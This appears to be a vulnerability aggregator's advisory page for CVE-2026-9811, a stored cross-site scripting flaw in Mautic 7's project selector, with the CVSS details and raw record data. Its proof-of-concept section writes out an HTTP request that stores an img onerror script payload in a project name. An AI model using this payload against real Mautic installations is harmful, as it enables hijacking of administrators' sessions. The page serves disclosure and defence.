Security Vulnerability Report
中文
CVE-2026-9811 CVSS 5.4 MEDIUM

CVE-2026-9811

Published: 2026-05-29 12:16:27
Last Modified: 2026-05-29 12:16:27

Description

A stored Cross-Site Scripting (XSS) vulnerability exists in the project selector component of Mautic 7. When rendering selection menus for associating projects with system entities, the application fails to sanitize project names returned via AJAX before injecting them into the DOM as option fields. An authenticated user with permissions to create projects can exploit this to store a malicious script payload in the project's name. When another administrative user subsequently opens an entity editor containing the project selector, the injected script executes within the context of their active browser session. This could allow an attacker to hijack the session, perform unauthorized state coordination, or access organizational data within the dashboard.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Mautic 7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC Concept for CVE-2026-9811: Stored XSS in Project Name // Step 1: Attacker sends a POST request to create a project with a malicious name POST /s/projects/new HTTP/1.1 Host: target-mautic.com Content-Type: application/x-www-form-urlencoded Cookie: [session_cookie] project[name]=<img src=x onerror=alert('CVE-2026-9811_Stored_XSS')>&project[description]=Exploit&project=Save // Step 2: When an admin visits any page with the Project Selector (e.g., /s/campaigns/edit/1), // the injected script executes automatically.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9811", "sourceIdentifier": "[email protected]", "published": "2026-05-29T12:16:27.030", "lastModified": "2026-05-29T12:16:27.030", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored Cross-Site Scripting (XSS) vulnerability exists in the project selector component of Mautic 7. When rendering selection menus for associating projects with system entities, the application fails to sanitize project names returned via AJAX before injecting them into the DOM as option fields. An authenticated user with permissions to create projects can exploit this to store a malicious script payload in the project's name. When another administrative user subsequently opens an entity editor containing the project selector, the injected script executes within the context of their active browser session. This could allow an attacker to hijack the session, perform unauthorized state coordination, or access organizational data within the dashboard."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/mautic/mautic/security/advisories/GHSA-5hvg-w58j-545m", "source": "[email protected]"}]}}